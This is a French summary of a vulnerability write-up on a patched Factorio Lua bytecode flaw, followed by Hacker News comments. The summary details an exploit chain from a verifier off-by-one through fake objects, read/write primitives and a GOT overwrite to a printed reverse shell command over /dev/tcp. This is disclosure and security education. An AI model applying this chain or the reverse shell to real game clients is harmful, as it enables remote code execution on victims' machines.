Analyse de bytecode : explication de la faille de sécurité Lua dans Factorio
(memorycorruption.net)- La vulnérabilité dans l’implémentation Lua de Factorio permettait à un serveur malveillant d’obtenir une exécution de code arbitraire sur les clients connectés ; les versions concernées sont celles antérieures à la 1.1.101, déjà corrigées
- Comme le multijoueur exécute le même code Lua selon un modèle de lockstep déterministe, un attaquant peut déclencher la vulnérabilité par le réseau au moyen d’une carte personnalisée malveillante
- Au cœur du problème se trouvent l’exécution de bytecode autorisée par
load/loadstringdu modulebase, ainsi qu’unOff-By-Oneet une absence de vérification de type dans le vérificateur propre à Factorio - L’exploit divulgue d’abord une adresse via une confusion de type dans
FORLOOP, puis construit de faux objets et des primitives de lecture/écriture arbitraires en manipulant les indices d’upvalue pour confondreLClosureetTString - Le RCE sous Linux remplaçait l’adresse
ldexpde la GOT parsystemet abusait de l’appel àmath.ldexp; des ajustements spécifiques étaient nécessaires à cause des offsets de structures de Factorio et des différences de format%a
Périmètre de la vulnérabilité et voie d’exposition de Lua
- La vulnérabilité dans l’implémentation Lua de Factorio permettait à un serveur malveillant d’obtenir une exécution de code arbitraire sur le client, et les versions de Factorio antérieures à la 1.1.101 sont affectées
- Lua est utilisé dans Factorio pour implémenter la logique de jeu, les mods et les cartes personnalisées
- Les mods peuvent être obtenus depuis le jeu ou via Factorio Mods
- La communauté de modding compte des milliers de mods, dont certains dépassent 500 000 téléchargements
- À première vue, cela ressemble à une attaque locale nécessitant l’installation directe d’un mod malveillant, mais le mode de synchronisation multijoueur expose l’interpréteur Lua par le réseau
- Le multijoueur de Factorio utilise un lockstep déterministe
- Ce n’est pas l’état du jeu lui-même qui est transmis sur le réseau, mais uniquement les entrées des utilisateurs
- Le jeu de chaque joueur doit simuler chaque tick de manière identique
- Si un joueur exécute du code Lua, les autres joueurs doivent exécuter le même code pour rester synchronisés
- Les voies permettant à un attaquant de faire exécuter du code Lua se résument à deux cas
- Exécuter du code Lua sur le serveur avec la commande
/clorsqu’il dispose des droits nécessaires - Créer une carte personnalisée contenant du code Lua, exécuté par le client lorsqu’il se connecte au serveur
- Exécuter du code Lua sur le serveur avec la commande
- En exposant un serveur malveillant dans le navigateur de serveurs, il est possible d’amener une victime à télécharger la carte et à exécuter le code Lua
Déroulé global de l’attaque
- L’attaque commence par un serveur Factorio qui fournit une carte malveillante
- L’exploit est inclus dans le code Lua de scénario de la carte
- Lorsque le client se connecte au serveur, il télécharge la carte et exécute le code Lua associé
- Les faiblesses de l’implémentation Lua sont ensuite utilisées pour construire un faux objet (fake object)
- Ce faux objet permet une fuite mémoire et une corruption mémoire
- Il permet ainsi de créer plusieurs primitives pouvant mener à l’exécution de code
- Dans un langage dynamique, un faux objet est un moyen central pour l’attaquant d’obtenir un contrôle important
- Les chaînes peuvent servir à divulguer des données arbitraires
- Les tableaux ou tables peuvent servir à écrire en mémoire arbitraire
- S’il existe une voie d’appel vers des fonctions natives, cela peut mener au contrôle du flux d’exécution
Exécution de bytecode Lua et problème du vérificateur
- Les modules Lua inclus dans Factorio sont limités
debug: accès aux fonctions de débogagemath: interface mathématique C standardbit32: opérations bit à bitstring: manipulation de chaînestable: manipulation de tablesbase: fonctions cœur de Lua commeprint
- Les modules manifestement dangereux comme
os.executesont absents, maisloadetloadstringdu modulebaseautorisent l’exécution de bytecode, ce qui crée une surface d’attaque importante - Lua compile d’abord le code source en bytecode Lua, puis l’exécute dans l’interpréteur
- Le bytecode n’est pas du langage machine CPU, mais une représentation exécutable uniquement par l’interpréteur Lua
- Si l’on peut injecter directement du bytecode, on peut exécuter du bytecode invalide que le compilateur normal ne produirait pas
- Les développeurs de Lua connaissaient le risque lié à l’exécution de bytecode arbitraire et avaient créé un vérificateur, mais l’ont supprimé dans Lua 5.2
- Sur la liste de diffusion Lua, il est expliqué en substance que l’ancien vérificateur avait été contourné à plusieurs reprises et que les applications exécutant du code Lua arbitraire feraient mieux de ne pas accepter de scripts précompilés
- Les développeurs de Factorio semblent avoir implémenté leur propre vérificateur de bytecode sur Lua 5.2.1
- La logique de protection se concentre sur le blocage des paramètres OOB évidents, comme les sauts hors du code ou les indices hors limites dans le tableau de constantes
- En raison de la sémantique de certains opcodes, un problème
Off-By-Oneexistait, et le traitement des offsets de saut commeJMP 0pouvait permettre de sauter hors du bloc de code - Comme la zone des constantes peut être allouée après le chunk de code, l’attaquant pouvait stocker du bytecode dans la section des constantes et l’exécuter en contournant les contrôles via le saut off-by-one
Fuite d’adresse : confusion de type dans FORLOOP
- Les objets internes de Lua sont représentés par
TValueTValueest composé d’une zone de valeur,Value, et dett_, qui représente le typeValueoccupe 8 octets et est interprété, selon le type, comme un double ou comme un pointeur
- Dans Lua 5.2, tous les nombres sont représentés par des double
- Un nombre peut être stocké inline dans l’union
Value, sans passer par un pointeur - Si l’on force l’interprétation d’un pointeur de chaîne comme un nombre, les bits du pointeur peuvent être exposés sous forme de valeur double
- Un nombre peut être stocké inline dans l’union
- En Lua ordinaire,
print(function)peut afficher une adresse, mais cela a été supprimé dans Factorio, et les adresses de chaînes ne peuvent pas non plus être divulguées directement - L’opcode de boucle
FORLOOPdoit normalement venir aprèsFORPREPFORPREPvérifie que la valeur initiale, la limite et le pas sont des nombres- Dans
FORLOOP, le type du paramètre de pas n’est pas vérifié, et les contrôles basés surlua_assertne sont pas imposés dans les builds par défaut
- L’attaquant peut manipuler le bytecode pour supprimer
FORPREPet n’exécuter queFORLOOP- Il construit en bytecode une situation que le compilateur ne produirait pas à partir d’un source Lua normal
- Si un objet comme une chaîne est placé à l’emplacement du pas, le pointeur de ce
TValueest interprété comme un double et divulgué
- La valeur divulguée n’est pas un double normal, mais les bits d’un pointeur interprétés comme un double ; elle apparaît donc comme une très petite valeur, par exemple
2.1944577826691e-317- IEEE 754 binary64 est composé de 1 bit de signe, 11 bits d’exposant et 52 bits de mantisse
- Si la valeur du pointeur ressemble à un double dénormalisé, on peut reconstruire la valeur d’origine à partir de la mantisse
- Lua 5.2 ne dispose pas de pack/unpack ni de types entiers, ce qui complique la conversion
- Au départ,
string.format("%.13a", double)a été utilisé pour lire la mantisse et l’exposant afin de reconstruire le pointeur - L’exemple de fuite a été reconstruit en pointeur
0x43d6c0, et les données réelles de la chaîne se trouvent 24 octets après l’en-têteTString
- Au départ,
Manipulation d’upvalue et confusion de type LClosure
- Les upvalues sont le mécanisme par lequel Lua accède aux variables situées dans la portée extérieure de la fonction courante
- Les informations d’upvalue dans le bytecode incluent l’indice, le nom, l’indication de présence sur la pile et l’indice de pile
- L’attaquant peut modifier les indices d’upvalue inclus dans le bytecode
- En changeant un indice d’upvalue, il est possible de référencer un autre
TValuesur la pile au lieu de la variable locale d’origine- Dans l’exemple, l’indice de l’upvalue
targetest incrémenté de un pour le faire pointer vers laLClosurede la fonction courante - Le bytecode manipulé affiche
LClosure: 0x...au lieu denil
- Dans l’exemple, l’indice de l’upvalue
- En Lua, l’unité d’exécution réelle d’une fonction est séparée en Prototype et Closure
Protosert de modèle de fonction, avec le bytecode, les constantes, les lignes sources, les informations d’upvalue, etc.LClosureest créée pendant l’exécution et relie leProtoà la liste des upvalues
- L’opcode
CLOSUREcrée une nouvelle closure Lua, la place sur la pile, puis initialise ses upvalues- Avec trois variables locales, la nouvelle
LClosurepeut être placée àbase + 3 - En remplaçant l’indice d’upvalue par
3, on peut capturer leTValuedeLClosureà cet emplacement
- Avec trois variables locales, la nouvelle
- Si une fonction interne écrase la
LClosurede la fonction externe avec une chaîne, Lua tentera après le retour d’utiliser la chaîne comme uneLClosure, ce qui provoque un crash- La vérification de type sur le chemin
OP_RETURNrepose surlua_assertet n’est pas imposée dans la configuration par défaut - En conséquence,
cldans la frame d’exécution courante peut pointer non pas vers une vraieLClosure, mais vers uneTStringcontrôlée par l’attaquant
- La vérification de type sur le chemin
- En exploitant la différence de layout entre
TStringetLClosure, la zone de données utilisateur de la chaîne chevauche les emplacements deProto *petUpval **upval- Cette confusion de type permet de contrôler le pointeur vers le prototype de fonction et le pointeur vers le tableau d’upvalues
- En les faisant pointer vers une zone mémoire contrôlable, on peut créer de faux objets
Faux objets et primitives de lecture/écriture
- Il existe deux grandes voies pour créer de faux objets
- Faire pointer un faux
Protovers un faux tableau deTValue - Faire pointer un faux tableau d’
UpValvers un fauxTValue
- Faire pointer un faux
- La voie par les constantes a été choisie parce qu’elle nécessite peu de padding et que les constantes peuvent être réutilisées dans la fonction
- Faux
TString - Tableau de
TValuepointant vers le fauxTString Protopointant vers le faux tableau deTValueLClosurepointant vers le fauxProto
- Faux
- Le faux
TStringpeut être utilisé comme primitive de lecture en définissant une longueur arbitrairement grande- Les données d’une chaîne Lua sont supposées se trouver après l’en-tête
TString str:sub()permet de lire la mémoire dans la plage couverte par la fausse chaîne- Les indices de chaînes Lua commencent à 1, il faut donc corriger le calcul de l’en-tête d’un octet
- Les données d’une chaîne Lua sont supposées se trouver après l’en-tête
- La primitive d’écriture consiste à faire pointer un faux
UpValvers leTValuede l’adresse cible- Lorsqu’un nombre est affecté à une variable Lua, un
TValuenumérique est écrit à cet emplacement - Le nombre étant stocké inline dans les 8 premiers octets de
TValue, on peut contrôler la zone de valeur - Dans le même temps, les 8 octets suivants reçoivent les informations de type, ce qui peut aussi corrompre la mémoire voisine
- Lorsqu’un nombre est affecté à une variable Lua, un
- Comme les nombres Lua sont des double, il faut une conversion pour écrire le motif de bits entier souhaité
- On utilise la plus petite unité d’un double dénormalisé,
2^-1074 - L’entier est encodé dans la représentation double sous la forme
integer_to_double(integer) = integer * 2^-1074
- On utilise la plus petite unité d’un double dénormalisé,
Contrôle du pointeur de commande et contournement de l’ASLR
- Une
Light C FunctionLua stocke son pointeur de fonction inline dans leTValue- Le type de fonction est
LUA_TFUNCTION, et uneLight C Functionest représentée par la valeurLUA_TLCF22 - Si l’on place
0xdeadbeefdans la zone de valeur deTValueet22dans la zone de type, elle peut être appelée comme une fonction à cette adresse
- Le type de fonction est
- L’appel d’une fausse
Light C Functionpermet de contrôler l’instruction pointer- Dans l’exemple,
RIPdevient0xdeadbeefet le programme crashe - Cela peut ensuite mener à des techniques de modification du flux d’exécution comme une chaîne ROP
- Dans l’exemple,
- Le fait que le pointeur de
Light C Functionsoit stocké inline est aussi utile pour les fuites d’adresses- Si des fonctions Lua sont implémentées comme light C functions, la primitive de fuite d’adresse permet de lire l’adresse d’une fonction comme
print - Cela permet de calculer une adresse de base nécessaire au contournement de l’ASLR
- Si des fonctions Lua sont implémentées comme light C functions, la primitive de fuite d’adresse permet de lire l’adresse d’une fonction comme
- Si une fonction sandboxée reste présente dans le binaire, il est également possible de contourner la sandbox en faisant pointer une fake function vers cette adresse et en l’appelant
Ajustements propres à Factorio
- Les premiers tests ont été menés dans l’interpréteur Lua officiel, mais l’implémentation Lua de Factorio possède un layout de structures différent
- Dans Factorio, l’objet GC
CommonHeaderajoute un pointeurprevious- Lua officiel utilise une structure
next,tt,marked - Factorio semble utiliser une structure
previous,next,tt,marked
- Lua officiel utilise une structure
- Cette différence décale certains offsets de 8 octets
- L’en-tête
TStringmesure non pas 24 octets, mais 32 octets - Le calcul de l’adresse du contenu de la chaîne et celui de l’adresse relative de la primitive de lecture doivent être corrigés
- Il faut aussi tenir compte du pointeur supplémentaire dans les calculs du faux
UpValet de la fake closure
- L’en-tête
- Dans Factorio, le comportement du format
%adifférait également des tests sur Lua officielstring.format("%.13a", 2.1038461432219e-316)ne produisait pas le0x0.000000289c130p-1022attendu, mais une forme0xa.2704c00000000p-1052- La reconstruction du double à partir du formatage de chaîne était donc cassée
- La conversion finale a été remplacée par une méthode purement numérique
- Pour une valeur dénormalisée, on peut considérer que tous les entiers commencent au bit de poids faible de droite
- La valeur divulguée est reconstruite avec
double_to_number(double) = double * 2^52 * 2^1022 2^1074ne pouvant pas être représenté comme un double, la multiplication est découpée en deux étapes
RCE Linux : remplacement de la GOT et math.ldexp
- Sous Linux, la voie RCE choisie utilise un remplacement de la GOT plutôt qu’une chaîne ROP
- Chercher une fonction importée appelable depuis Lua et dont le premier argument peut être contrôlé
- Écraser l’entrée GOT de cette fonction avec l’adresse de
system - Appeler cette fonction depuis Lua pour la faire se comporter comme
system(command)
- Dans les bibliothèques Lua limitées de Factorio,
math.ldexpa été utilisée comme fonction adaptée- En interne, elle appelle
ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2)) - Une vérification avec GDB a confirmé que le deuxième argument Lua était transmis comme premier argument de registre
RDIlors de l’appel à libc
- En interne, elle appelle
- La GOT se trouve avant le heap, ce qui la rend difficile à lire directement avec la primitive de lecture par fausse chaîne existante
- La primitive de lecture ne peut lire que les adresses situées après l’en-tête de la fausse chaîne
- Un segment writable situé avant la GOT est utilisé pour construire un faux
TStringà un emplacement précédant la GOT
- En créant un faux
TStringavant la GOT, on peut lire l’adresse de fonctions libc et contourner l’ASLR- Dans l’exemple, l’adresse de
memcpyest lue dans la GOT - Avec les offsets de libc 2.38 sur Fedora 39, on calcule
libc_base = memcpy - 0x138b80, puissystem = libc_base + 0x2a3b0
- Dans l’exemple, l’adresse de
- L’entrée GOT de
ldexpest ensuite écrasée avec l’adresse desystem- Dans l’exemple, l’adresse
0x289ef00est utilisée comme entrée GOT deldexp - Elle est écrasée sous la forme
write(0x289ef00, system)
- Dans l’exemple, l’adresse
Exécution de commande et shell distant final
- La première tentative consistait à stocker la commande dans une chaîne Lua et à appeler
math.ldexp(0, addr_of(cmd) + 32)- La commande était de la forme
sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &" - Mais comme Lua appelait
ldexpavec un paramètre 32 bits, les bits de poids fort de l’adresse de la chaîne étaient tronqués, ce qui faisait échouer l’attaque
- La commande était de la forme
- Le contournement consiste à écrire directement la chaîne de commande dans le segment writable du binaire utilisé auparavant pour créer la fausse chaîne
- Comme PIE n’était pas activé, l’adresse du binaire principal était suffisamment petite
- La chaîne de commande est écrite près de l’adresse
0x289c150via plusieurs appels àwrite()
- Après le remplacement de la GOT, l’appel
math.ldexp(0, 0x289c150)se comporte comme un appel àsystem(0x289c150) - Le résultat final est confirmé par un shell connecté à un listener local
nc -lvp 9001- Le prompt du shell est
sh-5.2$ - Le résultat de
whoamiestvictim
- Le prompt du shell est
Challenge d’entraînement et références
- À la fin de l’article, un challenge dans le navigateur est proposé : s’échapper de l’interpréteur Lua et exécuter une fonction JavaScript qui ne peut pas être appelée directement depuis du code Lua
- Challenge : Escape from Alcawasm
- Liens de référence associés
- Contexte de la suppression du vérificateur de bytecode Lua : copie Wayback de la liste de diffusion lua-l
- Code du vérificateur Lua de Factorio : Factorio Lua
- Implémentation des nombres Lua : Programming In Lua: Numbers
- Closures Lua : Programming in Lua: Closures
- Explication du format
%a: GNU libc Floating-Point Conversions - Référence d’exploit Lua 5.1 sous Windows : Exploiting Lua 5.1 on 32-bit Windows
1 commentaires
Avis de Hacker News
Inattendu
Lua interprète du bytecode, donc je pensais qu’il pouvait vérifier que les arguments des instructions avaient du sens. Par exemple, qu’ils pointent vers de la mémoire allouée par Lua
Mais en réalité, ce n’était pas le cas, et si on lui fournit du bytecode avec de mauvais arguments, il l’exécute tel quel. La compromission qui suit part de là
En plus, au lieu de corriger l’interpréteur, le plan consiste à analyser statiquement le bytecode, ce qui semble ne marcher que pour les cas simples
Pour un langage interprété censé être adapté au sandboxing, c’est assez décevant, et je me demande s’ils accepteraient un patch pour corriger l’interpréteur afin qu’il ne fasse pas confiance à ses entrées. Ils semblent craindre une baisse de performances, mais c’est douteux quand l’option rapide est LuaJIT
Cette approche paraît raisonnable : elle laisse la possibilité de charger directement du bytecode de confiance, tout en évitant d’ajouter dans l’interpréteur des vérifications dynamiques qui toucheraient tous les utilisateurs
Par conception, Lua ne garantit pas la terminaison, et il n’existe pas non plus de bon moyen de forcer l’arrêt de programmes non fiables. Si vous acceptez des entrées Lua non fiables, vous devez considérer que votre programme peut se bloquer indéfiniment
Lua est excellent pour des entrées semi-fiables ayant fait l’objet d’un minimum de diligence, comme du code téléchargé depuis Internet. Même si le code est réellement malveillant, il permet de fortement limiter les dégâts, sans les éliminer complètement
Si vous avez besoin d’entrées totalement non fiables à la manière de JavaScript, le fork Luau de Roblox est le bon choix : https://luau-lang.org/sandbox
Comme d’autres langages l’ont montré, créer un interpréteur sûr pour du bytecode n’a rien de simple. C’est aussi un compromis qui garde l’implémentation de référence simple
Quand il s’agit d’exécuter du code tiers, je ne fais pas confiance à la plupart de ces interpréteurs. Même les navigateurs, avec les budgets de R&D et l’attention qu’ils reçoivent, je ne leur fais confiance qu’à grand-peine
C’est comme ne pas exécuter du code machine arbitraire
Luau a aussi cette propriété, et pourtant Roblox n’est pas constamment victime d’évasions de sandbox, si ?
J’aimerais que ces points soient définis ou documentés plus clairement. On se retrouve à devoir déterminer soi-même quels langages peuvent raisonnablement être garantis comme sûrs
Par exemple, il y a le cas de base où du code statique est exécuté directement par l’utilisateur, cas dont les langages, Lua compris, se préoccupent généralement
Il y a aussi le cas où du code est reçu dynamiquement et exécuté lors d’un processus de mise à jour, mais uniquement via des canaux officiels. Là, on peut éventuellement s’en sortir en sécurisant le processus, mais ce n’est pas certain
Il y a également le cas où l’utilisateur peut ajouter du code sous forme de plugins, installables facilement depuis une boutique en un clic. Les plugins peuvent être examinés, mais cela se fait rarement correctement ; il faut donc déterminer si un sandbox est nécessaire ou si l’utilisateur doit être prudent
Il existe aussi des jeux multijoueurs où seul le serveur peut être étendu par des plugins, pas le client. Il faut tenir compte du fait que les joueurs qui ouvrent des serveurs essaient activement plusieurs plugins, et que la communauté des plugins peut être bien plus risquée
Enfin, il y a les jeux multijoueurs où, comme dans un navigateur, le serveur peut exécuter du code arbitraire côté client. Dans ce cas, il faut être particulièrement prudent avec le sandboxing côté client, parce que les joueurs rejoignent des serveurs arbitraires sans réfléchir aux implications de sécurité
Factorio se trouve précisément dans ce dernier cas. Je ne suis pas forcément contre le fait que les développeurs doivent évaluer cela, mais, par exemple, il n’est pas toujours évident que la fonction
loadde Lua puisse exécuter du bytecode arbitraire non sûrHonnêtement, je ne savais pas que le bytecode Lua n’était pas sûr, alors que je savais que le bytecode LuaJIT ne l’était pas. Mais cette information semble être seulement mentionnée çà et là comme une évidence dans des mailing lists ou des issues GitHub
Il y a aussi le problème qu’un serveur puisse bloquer le client. Il suffit de lancer une boucle infinie. Mais c’est beaucoup plus difficile à éviter, et il est peut-être même vain d’essayer de l’éviter
Il n’y avait pas d’option côté client pour désactiver le navigateur, et il me semble que les développeurs ont fini par la désactiver complètement, même si je ne suis pas certain de son état actuel
Cela montre à quel point les jeux et les moteurs de jeu sont devenus complexes. On y trouve un navigateur Web intégré à des endroits où il ne semble pas vraiment y avoir de raison
Factorio est soutenu par une très bonne équipe de développement, donc je pense qu’ils font de leur mieux pour corriger ce genre de problème. Cela dit, le développement de jeux dans son ensemble relève beaucoup du travail créatif, si bien que des choses comme les pratiques de code ou la sécurité semblent passer au second plan
Je me demande combien de vulnérabilités zero-day peuvent se cacher dans les clients et serveurs de jeux
Flatpak peut être un point de départ utile. Un conteneur n’est pas une frontière de sécurité forte, mais il peut bloquer des exploits simples
Ce n’est pas seulement une décision commerciale visant à pousser l’utilisation des services en ligne officiels. Si l’accès à des IP de serveurs tiers est bloqué, même des bugs graves dans le code réseau ou dans le reste du jeu ne pourront jamais être exploités. En limitant les mods, même les mods « sûrs » comme ceux en Lua, on peut empêcher encore davantage d’exploits
Historiquement, du code réseau plein de bugs a déjà fait tomber le DRM de plusieurs consoles
Au-delà des exploits, les consoles mettent aussi en avant le fait que le code est soumis à une validation avant d’être distribué. Autoriser l’exécution de Lua depuis un système distant signifie que, même après approbation, le jeu peut être reconfiguré à distance par les développeurs eux-mêmes, et les fabricants de consoles ne veulent pas permettre cela sans un examen très minutieux
Dans l’idéal, il faudrait l’isoler dans une machine virtuelle, mais configurer une machine virtuelle de jeu est extrêmement pénible, et certains jeux utilisant un anti-cheat peuvent vous exclure
Quand on pense à quel point d’autres domaines ont désespérément besoin de gens qui savent bien programmer, c’est presque dommage que des personnes aussi compétentes travaillent dans le jeu vidéo
En général, la vérification de programmes est extrêmement difficile, et pas seulement à cause du théorème de Rice. En particulier avec un langage de bytecode non trivial comme Lua, il est très facile de passer à côté de quelque chose. Wasm, par exemple, n’a pas de notion de boucle for
Il est étrange que, après que le projet amont a abandonné ce problème parce qu’il était trop difficile, les développeurs de Factorio aient essayé de corriger le vérificateur ou d’en écrire un eux-mêmes
La fonction
loadstringde Minetest interdit complètement le bytecode : https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...Je me demande pourquoi les mods Factorio auraient besoin de pouvoir exécuter du bytecode Lua brut. Si ce n’est pas nécessaire, le vérificateur n’aurait pas été nécessaire non plus
Exécuter du code Lua téléchargé depuis le réseau est déjà assez risqué. Les environnements d’exécution JavaScript ont traversé des décennies de cycles de découverte et de correction d’exploits. Cela arrive aussi à Lua, mais à plus petite échelle, avec moins de personnes pour améliorer la sécurité
La principale protection est peut-être simplement qu’il y a moins de gens qui exploitent des serveurs de jeu malveillants
Pour des raisons de sécurité similaires, la quasi-totalité de la bibliothèque de débogage a aussi été rendue indisponible pour les mods
loadstring()de LuaIl y a par exemple un billet écrit par les développeurs de ROBLOX il y a 12 ans : https://archive.is/oXPyM
Franchement, il vaudrait mieux que ce soit désactivé par défaut. Les usages légitimes sont assez de niche
Et puis créer un logiciel qu’on ne peut tout simplement pas exécuter dans un environnement Turing-complet est assez contraignant
Dans tous les cas, il faut vraiment un interpréteur avec un système de permissions solide
Mais si vous acceptez le compromis de ne prendre qu’une partie des entrées qui satisfont les exigences réelles, alors le théorème de Rice ne s’applique plus. Il ne reste plus une tâche impossible, seulement une tâche extrêmement difficile
Même en cas d’échec, on peut au moins se consoler en se disant qu’on ne vous dira pas que c’était impossible
Factorio n’aurait pas dû emprunter cette voie
Question de parfait débutant : pourquoi les jeux utilisent-ils Lua, plutôt qu’un JavaScript embarqué avec une interface définie, comme une API permettant d’ajuster l’état du jeu ?
On pourrait bénéficier des renforcements bien plus importants apportés à l’isolation des environnements de navigateur. Les navigateurs sont des cibles difficiles, très bien testées et fortement financées
D’énormes efforts ont aussi été consacrés à l’optimisation des performances des types dynamiques
Et si les mods ont besoin d’une UI, il y a le canvas ; avec un modèle proche du DOM, des choses comme React pourraient même devenir possibles
Lua a été spécialement conçu pour l’intégration, il existe donc beaucoup de documentation et une grande communauté derrière
Par ailleurs, vous confondez les API de navigateur courantes avec JavaScript. Un moteur JavaScript ne fournit ni canvas ni DOM. V8, par exemple, ne les fournit pas ; il faut les ajouter soi-même
Je ne suis pas développeur sécurité, mais j’ai envie de dire, par pure formalité : « Waouh, c’est vraiment impressionnant ! » C’est difficile de croire à quel point il faut penser clairement et logiquement pour remonter la piste d’un cas d’échec aussi complexe. Ce n’est clairement pas mon point fort ; je suis bien plus du genre « personne à idées »
Sur le fond, j’ai l’impression que si une armée d’ingénieurs logiciels IA nourrie de 10 000 billets de blog sur la recherche de ce genre d’exploits mémoire bizarres débarque, on est complètement fichus
Au final, je pense qu’il nous faut un paradigme entièrement nouveau pour la sécurité, ou au moins un nouvel élément dans la pile. Les histoires modernes de clients « de confiance » ou de rôles de DB donnent l’impression de colmater les trous d’un fromage suisse
Avec un peu de chance, on pourra ajouter une nouvelle couche de fromage suisse gérée par un LLM
Donc, si je comprends bien, c’est un exploit qui repose sur le chargement de bytecode, une fonctionnalité annoncée comme exploitable ? Qu’est-ce que je rate ?
jmp, ou le fait que l’interpréteur Lua essaie d’interpréter comme des instructions tout ce qui lui tombe sous la mainIl essayait même d’interpréter des sections de données que le vérificateur ne touchait pas
loadstringest désactivéC’est vraiment une chance que des gens aussi compétents soient du bon côté
Les médias d’information nous font croire l’inverse, et les commentaires moyens sous ces articles renforcent cette impression, mais si c’était vraiment le cas, comment expliquer les nombreux luxes et les programmes d’aide médicale et sociale dont nous bénéficions ?
Je ne dis pas que le monde n’a pas de problèmes, mais il y a clairement bien plus de gens constructifs que de gens destructeurs
Je viens juste d’un fil HN sur les Panama Papers, donc cette idée me revient d’autant plus. Là-bas, le ton était cynique, du genre tous les riches sont mauvais et tous ont totalement échappé aux poursuites, mais quelques commentaires soulignaient à juste titre qu’aucune de ces deux choses n’est vraie. Il faut simplement descendre un peu dans le fil et ne pas se laisser emporter par le cynisme
À mon avis, le bytecode Lua ne devrait jamais être utilisé en dehors des systèmes embarqués qui n’ont pas assez de ressources pour faire tourner l’analyseur de code source Lua
En dehors des failles de sécurité, le seul usage qui me semble utile est celui des programmes à source fermée
J’ai peut-être raté quelque chose, et j’admets avoir lu la fin en diagonale, mais il me semble que l’auteur n’aborde absolument pas les mesures d’atténuation qui ont effectivement été prises. J’aimerais en savoir plus là-dessus
1.1.104 : https://github.com/Rseding91/Factorio-Lua/commit/4d924b69808...
Et 1.1.107 : https://github.com/Rseding91/Factorio-Lua/commit/ce12474c7fc...
La partie la plus pertinente est la modification de
luaB_loaddans la 1.1.104, qui a simplement désactivé le chargement de bytecode